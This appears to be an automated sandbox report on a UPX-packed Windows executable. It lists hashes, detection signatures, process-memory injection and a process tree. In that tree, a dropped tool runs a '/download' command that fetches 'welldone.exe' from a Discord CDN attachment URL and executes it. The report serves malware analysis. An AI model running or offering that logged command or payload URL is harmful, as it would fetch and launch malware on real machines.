ea07ac0be9b5d757b3d6eab704606fb022770451be04c729af03f3a0941d3fc8

General

Target
a257ea9730cbbaf7b4bb364e92821595.exe
Size 448KB
Sample210802-7tk3jy3fc2
SHA256 ea07ac0be9b5d757b3d6eab704606fb022770451be04c729af03f3a0941d3fc8
MD5 a257ea9730cbbaf7b4bb364e92821595
SHA1 5add2c61afcef935b6a63bf4ced694a6975f2d00
SHA512 3944acd6e292bf486d131d4516e2a1ccddb61330c0a9da52a48af081de8faf38c961b3eb13cc1aa1a8a20acc74b13282990ca86359c92b08451f82147a616f2c
MD5 SHA1 SHA512

Score

8^/10

upx

Malware Config

Signatures

Downloads MZ/PE file

Executes dropped EXE 5 IoCs

pid	Process
1896	extd.exe
2728	extd.exe
3508	extd.exe
2796	welldone.exe
1112	extd.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000100000001ab67-117.dat	upx
behavioral2/files/0x000100000001ab67-118.dat	upx
behavioral2/files/0x000100000001ab67-120.dat	upx
behavioral2/files/0x000100000001ab67-122.dat	upx
behavioral2/files/0x000100000001ab67-129.dat	upx

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3100	2796	WerFault.exe	81

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
3100	WerFault.exe
3100	WerFault.exe
3100	WerFault.exe
3100	WerFault.exe
3100	WerFault.exe
3100	WerFault.exe
3100	WerFault.exe
3100	WerFault.exe
3100	WerFault.exe
3100	WerFault.exe
3100	WerFault.exe
3100	WerFault.exe
3100	WerFault.exe
3100	WerFault.exe
3100	WerFault.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3100	WerFault.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3200 wrote to memory of 1524	3200	a257ea9730cbbaf7b4bb364e92821595.exe	76
PID 3200 wrote to memory of 1524	3200	a257ea9730cbbaf7b4bb364e92821595.exe	76
PID 1524 wrote to memory of 1896	1524	cmd.exe	77
PID 1524 wrote to memory of 1896	1524	cmd.exe	77
PID 1524 wrote to memory of 2728	1524	cmd.exe	78
PID 1524 wrote to memory of 2728	1524	cmd.exe	78
PID 1524 wrote to memory of 3508	1524	cmd.exe	79
PID 1524 wrote to memory of 3508	1524	cmd.exe	79
PID 1524 wrote to memory of 2796	1524	cmd.exe	81
PID 1524 wrote to memory of 2796	1524	cmd.exe	81
PID 1524 wrote to memory of 1112	1524	cmd.exe	82
PID 1524 wrote to memory of 1112	1524	cmd.exe	82

C:\Users\Admin\AppData\Local\Temp\a257ea9730cbbaf7b4bb364e92821595.exe
"C:\Users\Admin\AppData\Local\Temp\a257ea9730cbbaf7b4bb364e92821595.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3200
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\2427.tmp\2428.tmp\2429.bat C:\Users\Admin\AppData\Local\Temp\a257ea9730cbbaf7b4bb364e92821595.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1524
- - C:\Users\Admin\AppData\Local\Temp\2427.tmp\2428.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\2427.tmp\2428.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1896
- - C:\Users\Admin\AppData\Local\Temp\2427.tmp\2428.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\2427.tmp\2428.tmp\extd.exe "/random" "90000009" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2728
- - C:\Users\Admin\AppData\Local\Temp\2427.tmp\2428.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\2427.tmp\2428.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/868908533897363470/871473752494456932/welldone.exe" "welldone.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3508
- - C:\Users\Admin\AppData\Local\Temp\4595\welldone.exe
    welldone.exe
    3⤵
    - Executes dropped EXE
    PID:2796
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2796 -s 1072
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3100
- - C:\Users\Admin\AppData\Local\Temp\2427.tmp\2428.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\2427.tmp\2428.tmp\extd.exe "/sleep" "900000" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1112

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2796-126-0x0000000000CA0000-0x0000000000CA1000-memory.dmp

Download

Analysis

Sharing